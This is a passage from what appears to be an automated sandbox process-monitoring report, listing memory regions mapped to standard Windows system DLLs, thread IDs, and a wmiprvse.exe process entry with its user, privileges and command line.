0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1237 start_va = 0x7fffede30000 end_va = 0x7fffeded6fff monitored = 0 entry_point = 0x7fffede3b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1238 start_va = 0x7fffedee0000 end_va = 0x7fffedf31fff monitored = 0 entry_point = 0x7fffedeef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1239 start_va = 0x7fffee060000 end_va = 0x7fffef5befff monitored = 0 entry_point = 0x7fffee1c11f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1240 start_va = 0x7fffef5c0000 end_va = 0x7fffef9e8fff monitored = 0 entry_point = 0x7fffef5e8740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1241 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1242 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1243 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1244 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1245 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1246 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1247 start_va = 0x7ffff04d0000 end_va = 0x7ffff052bfff monitored = 0 entry_point = 0x7ffff04eb720 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1248 start_va = 0x7ffff0530000 end_va = 0x7ffff0537fff monitored = 0 entry_point = 0x7ffff0531ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1249 start_va = 0x7ffff0540000 end_va = 0x7ffff05aafff monitored = 0 entry_point = 0x7ffff05590c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1250 start_va = 0x7ffff05b0000 end_va = 0x7ffff06f2fff monitored = 0 entry_point = 0x7ffff05d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1251 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1252 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1255 start_va = 0xf90a680000 end_va = 0xf90a77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a680000" filename = "" Region: id = 1256 start_va = 0xf90a780000 end_va = 0xf90a87ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a780000" filename = "" Region: id = 1257 start_va = 0xf90a880000 end_va = 0xf90a97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a880000" filename = "" Region: id = 1258 start_va = 0xf90a980000 end_va = 0xf90aa7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90a980000" filename = "" Region: id = 1259 start_va = 0xf90aa80000 end_va = 0xf90ab7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90aa80000" filename = "" Region: id = 1260 start_va = 0xf90ab80000 end_va = 0xf90ac7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90ab80000" filename = "" Region: id = 1625 start_va = 0x20334400000 end_va = 0x20334400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334400000" filename = "" Region: id = 1808 start_va = 0x20334400000 end_va = 0x20334401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334400000" filename = "" Region: id = 1932 start_va = 0x20334400000 end_va = 0x20334400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334400000" filename = "" Region: id = 2644 start_va = 0x20334400000 end_va = 0x20334400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334400000" filename = "" Region: id = 2694 start_va = 0x20334400000 end_va = 0x20334401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334400000" filename = "" Region: id = 2695 start_va = 0xf90ac80000 end_va = 0xf90ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90ac80000" filename = "" Region: id = 2752 start_va = 0x7ff65a920000 end_va = 0x7ff65acc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 2795 start_va = 0xf90ad80000 end_va = 0xf90ae7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90ad80000" filename = "" Region: id = 2796 start_va = 0xf90ae80000 end_va = 0xf90af7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000f90ae80000" filename = "" Region: id = 2968 start_va = 0x20334410000 end_va = 0x20334410fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000020334410000" filename = "" Thread: id = 23 os_tid = 0xcdc Thread: id = 24 os_tid = 0x884 Thread: id = 25 os_tid = 0xd10 Thread: id = 26 os_tid = 0x10bc Thread: id = 27 os_tid = 0x1094 Thread: id = 28 os_tid = 0xd94 Thread: id = 29 os_tid = 0x3a8 Thread: id = 30 os_tid = 0x6ac Thread: id = 31 os_tid = 0x4d8 Thread: id = 32 os_tid = 0x5fc Thread: id = 33 os_tid = 0x670 Thread: id = 34 os_tid = 0x6fc Thread: id = 35 os_tid = 0xa34 Thread: id = 36 os_tid = 0x16c Thread: id = 37 os_tid = 0x35c Thread: id = 38 os_tid = 0x5e8 Thread: id = 39 os_tid = 0x710 Thread: id = 40 os_tid = 0x354 Thread: id = 41 os_tid = 0xaf4 Thread: id = 42 os_tid = 0x62c Thread: id = 43 os_tid = 0xb70 Thread: id = 44 os_tid = 0x958 Thread: id = 45 os_tid = 0x954 Thread: id = 46 os_tid = 0xb50 Thread: id = 47 os_tid = 0xa44 Thread: id = 48 os_tid = 0x420 Thread: id = 49 os_tid = 0x654 Thread: id = 50 os_tid = 0xbd4 Thread: id = 51 os_tid = 0xbd0 Thread: id = 52 os_tid = 0x3fc Thread: id = 53 os_tid = 0x338 Thread: id = 54 os_tid = 0xa38 Thread: id = 55 os_tid = 0x328 Thread: id = 56 os_tid = 0xb68 Thread: id = 57 os_tid = 0x880 Thread: id = 58 os_tid = 0xa58 Thread: id = 59 os_tid = 0x804 Thread: id = 60 os_tid = 0x5a0 Thread: id = 61 os_tid = 0x9c4 Thread: id = 62 os_tid = 0x97c Thread: id = 63 os_tid = 0x970 Thread: id = 64 os_tid = 0x950 Thread: id = 65 os_tid = 0x918 Thread: id = 66 os_tid = 0x910 Thread: id = 67 os_tid = 0x904 Thread: id = 68 os_tid = 0x8f8 Thread: id = 69 os_tid = 0x8f0 Thread: id = 70 os_tid = 0x8c0 Thread: id = 71 os_tid = 0x8b0 Thread: id = 72 os_tid = 0x858 Thread: id = 73 os_tid = 0x814 Thread: id = 74 os_tid = 0x520 Thread: id = 75 os_tid = 0x580 Thread: id = 76 os_tid = 0x498 Thread: id = 77 os_tid = 0x6cc Thread: id = 78 os_tid = 0x68c Thread: id = 79 os_tid = 0x66c Thread: id = 80 os_tid = 0x504 Thread: id = 81 os_tid = 0x4e8 Thread: id = 82 os_tid = 0x4b4 Thread: id = 83 os_tid = 0x430 Thread: id = 84 os_tid = 0x408 Thread: id = 85 os_tid = 0x2d0 Thread: id = 86 os_tid = 0x270 Thread: id = 87 os_tid = 0x160 Thread: id = 88 os_tid = 0x1c8 Thread: id = 89 os_tid = 0x174 Thread: id = 90 os_tid = 0x158 Thread: id = 91 os_tid = 0x144 Thread: id = 92 os_tid = 0x148 Thread: id = 93 os_tid = 0x128 Thread: id = 94 os_tid = 0x124 Thread: id = 95 os_tid = 0xf8 Thread: id = 96 os_tid = 0x3f8 Thread: id = 116 os_tid = 0x12ac Thread: id = 117 os_tid = 0x1290 Thread: id = 118 os_tid = 0x12a8 Thread: id = 119 os_tid = 0x12a0 Thread: id = 120 os_tid = 0x1298 Thread: id = 121 os_tid = 0x1214 Thread: id = 342 os_tid = 0x8b8 Thread: id = 346 os_tid = 0x95c Thread: id = 347 os_tid = 0x2a4 Process: id = "7" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x67326000" os_pid = "0x10fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x274" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000526f5" [0xc000000f] Region: id = 1261 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1262 start_va = 0x7754910000 end_va = 0x775498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754910000" filename = "" Region: id = 1263 start_va = 0x7754a00000 end_va = 0x7754bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754a00000" filename = "" Region: id = 1264 start_va = 0x7754c80000 end_va = 0x7754cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754c80000" filename = "" Region: id = 1265 start_va = 0x7754d00000 end_va = 0x7754d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754d00000" filename = "" Region: id = 1266 start_va = 0x7754d80000 end_va = 0x7754dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754d80000" filename = "" Region: id = 1267 start_va = 0x7754e00000 end_va = 0x7754e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754e00000" filename = "" Region: id = 1268 start_va = 0x7754e80000 end_va = 0x7754efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754e80000" filename = "" Region: id = 1269 start_va = 0x7754f00000 end_va = 0x7754f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754f00000" filename = "" Region: id = 1270 start_va = 0x7754f80000 end_va = 0x7754ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007754f80000" filename = "" Region: id = 1271 start_va = 0x7755000000 end_va = 0x775507ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007755000000" filename = "" Region: id = 1272 start_va = 0x7755080000 end_va = 0x77550fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007755080000" filename = "" Region: id = 1273 start_va = 0x226d76e0000 end_va = 0x226d76effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d76e0000" filename = "" Region: id = 1274 start_va = 0x226d76f0000 end_va = 0x226d76f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d76f0000" filename = "" Region: id = 1275 start_va = 0x226d7700000 end_va = 0x226d7714fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7700000" filename = "" Region: id = 1276 start_va = 0x226d7720000 end_va = 0x226d7723fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7720000" filename = "" Region: id = 1277 start_va = 0x226d7730000 end_va = 0x226d7730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7730000" filename = "" Region: id = 1278 start_va = 0x226d7740000 end_va = 0x226d7741fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d7740000" filename = "" Region: id = 1279 start_va = 0x226d7750000 end_va = 0x226d780dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1280 start_va = 0x226d7810000 end_va = 0x226d7816fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d7810000" filename = "" Region: id = 1281 start_va = 0x226d7820000 end_va = 0x226d7820fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d7820000" filename = "" Region: id = 1282 start_va = 0x226d7830000 end_va = 0x226d7830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d7830000" filename = "" Region: id = 1283 start_va = 0x226d7840000 end_va = 0x226d793ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d7840000" filename = "" Region: id = 1284 start_va = 0x226d7940000 end_va = 0x226d79fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7940000" filename = "" Region: id = 1285 start_va = 0x226d7a00000 end_va = 0x226d7a04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1286 start_va = 0x226d7a10000 end_va = 0x226d7a10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7a10000" filename = "" Region: id = 1287 start_va = 0x226d7a20000 end_va = 0x226d7a20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7a20000" filename = "" Region: id = 1288 start_va = 0x226d7a30000 end_va = 0x226d7a30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7a30000" filename = "" Region: id = 1289 start_va = 0x226d7a40000 end_va = 0x226d7a42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmi.dll" filename = "\\Windows\\System32\\wmi.dll" (normalized: "c:\\windows\\system32\\wmi.dll") Region: id = 1290 start_va = 0x226d7a60000 end_va = 0x226d7a62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "security.dll" filename = "\\Windows\\System32\\security.dll" (normalized: "c:\\windows\\system32\\security.dll") Region: id = 1291 start_va = 0x226d7a90000 end_va = 0x226d7a92fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 1292 start_va = 0x226d7ab0000 end_va = 0x226d7abffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d7ab0000" filename = "" Region: id = 1293 start_va = 0x226d7ac0000 end_va = 0x226d7df6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1294 start_va = 0x226d7e00000 end_va = 0x226d7f87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7e00000" filename = "" Region: id = 1295 start_va = 0x226d7f90000 end_va = 0x226d8110fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000226d7f90000" filename = "" Region: id = 1296 start_va = 0x226d8120000 end_va = 0x226d821ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d8120000" filename = "" Region: id = 1297 start_va = 0x226d8220000 end_va = 0x226d831ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000226d8220000" filename = "" Region: id = 1298 start_va = 0x7df5ff700000 end_va = 0x7ff5ff6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff700000" filename = "" Region: id = 1299 start_va = 0x7ff70cd60000 end_va = 0x7ff70ce5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff70cd60000" filename = "" Region: id = 1300 start_va = 0x7ff70ce60000 end_va = 0x7ff70ce82fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff70ce60000" filename = "" Region: id = 1301 start_va = 0x7ff70db70000 end_va = 0x7ff70dbeffff monitored = 0 entry_point = 0x7ff70db85f50 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1302 start_va = 0x7fffd4a30000 end_va = 0x7fffd4bfefff monitored = 1 entry_point = 0x7fffd4a57df0 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1303 start_va = 0x7fffd66e0000 end_va = 0x7fffd66f3fff monitored = 0 entry_point = 0x7fffd66e1310 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\System32\\browcli.dll" (normalized: "c:\\windows\\system32\\browcli.dll") Region: id = 1304 start_va = 0x7fffdbca0000 end_va = 0x7fffdbcb5fff monitored = 0 entry_point = 0x7fffdbca55e0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1305 start_va = 0x7fffdbe20000 end_va = 0x7fffdbe44fff monitored = 0 entry_point = 0x7fffdbe29900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1306 start_va = 0x7fffdbe90000 end_va = 0x7fffdbf85fff monitored = 0 entry_point = 0x7fffdbec9590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1307 start_va = 0x7fffdc1c0000 end_va = 0x7fffdc1d0fff monitored = 0 entry_point = 0x7fffdc1c2fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1308 start_va = 0x7fffdc3a0000 end_va = 0x7fffdc3adfff monitored = 0 entry_point = 0x7fffdc3a1da0 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1309 start_va = 0x7fffdc430000 end_va = 0x7fffdc43bfff monitored = 0 entry_point = 0x7fffdc4335c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1310 start_va = 0x7fffdf030000 end_va = 0x7fffdf0aefff monitored = 1 entry_point = 0x7fffdf047110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1311 start_va = 0x7fffe2560000 end_va = 0x7fffe2585fff monitored = 0 entry_point = 0x7fffe2561cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1312 start_va = 0x7fffe4f60000 end_va = 0x7fffe4f71fff monitored = 0 entry_point = 0x7fffe4f63580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1313 start_va = 0x7fffe55e0000 end_va = 0x7fffe562dfff monitored = 0 entry_point = 0x7fffe55f1ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1314 start_va = 0x7fffe5c90000 end_va = 0x7fffe5ca3fff monitored = 0 entry_point = 0x7fffe5c91800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1315 start_va = 0x7fffe63f0000 end_va = 0x7fffe6408fff monitored = 0 entry_point = 0x7fffe63f4520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1316 start_va = 0x7fffe6b80000 end_va = 0x7fffe6bbdfff monitored = 0 entry_point = 0x7fffe6b8a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1317 start_va = 0x7fffe6c80000 end_va = 0x7fffe6c95fff monitored = 0 entry_point = 0x7fffe6c81b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1318 start_va = 0x7fffe89b0000 end_va = 0x7fffe89bafff monitored = 0 entry_point = 0x7fffe89b12b0 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 1319 start_va = 0x7fffe8ca0000 end_va = 0x7fffe8cb0fff monitored = 0 entry_point = 0x7fffe8ca3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1320 start_va = 0x7fffe9060000 end_va = 0x7fffe9069fff monitored = 0 entry_point = 0x7fffe9061660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1321 start_va = 0x7fffeb500000 end_va = 0x7fffeb512fff monitored = 0 entry_point = 0x7fffeb502760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1322 start_va = 0x7fffeb7e0000 end_va = 0x7fffeb806fff monitored = 0 entry_point = 0x7fffeb7e7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1323 start_va = 0x7fffec1d0000 end_va = 0x7fffec1dbfff monitored = 0 entry_point = 0x7fffec1d27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1324 start_va = 0x7fffec310000 end_va = 0x7fffec389fff monitored = 0 entry_point = 0x7fffec331a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1325 start_va = 0x7fffec960000 end_va = 0x7fffec9b5fff monitored = 0 entry_point = 0x7fffec970bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1326 start_va = 0x7fffecaa0000 end_va = 0x7fffecaccfff monitored = 0 entry_point = 0x7fffecab9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1327 start_va = 0x7fffecc50000 end_va = 0x7fffecc78fff monitored = 0 entry_point = 0x7fffecc64530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1328 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1329 start_va = 0x7fffece30000 end_va = 0x7fffece3ffff monitored = 0 entry_point = 0x7fffece356e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1330 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1331 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1332 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1333 start_va = 0x7fffed8d0000 end_va = 0x7fffed8e6fff monitored = 0 entry_point = 0x7fffed8d1390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1334 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1335 start_va = 0x7fffed940000 end_va = 0x7fffedb06fff monitored = 0 entry_point = 0x7fffed99db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1336 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1337 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1338 start_va = 0x7fffede30000 end_va = 0x7fffeded6fff monitored = 0 entry_point = 0x7fffede3b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1339 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1340 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1341 start_va = 0x7fffefeb0000 end_va = 0x7fffeff5cfff monitored = 0 entry_point = 0x7fffefec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1342 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1343 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = 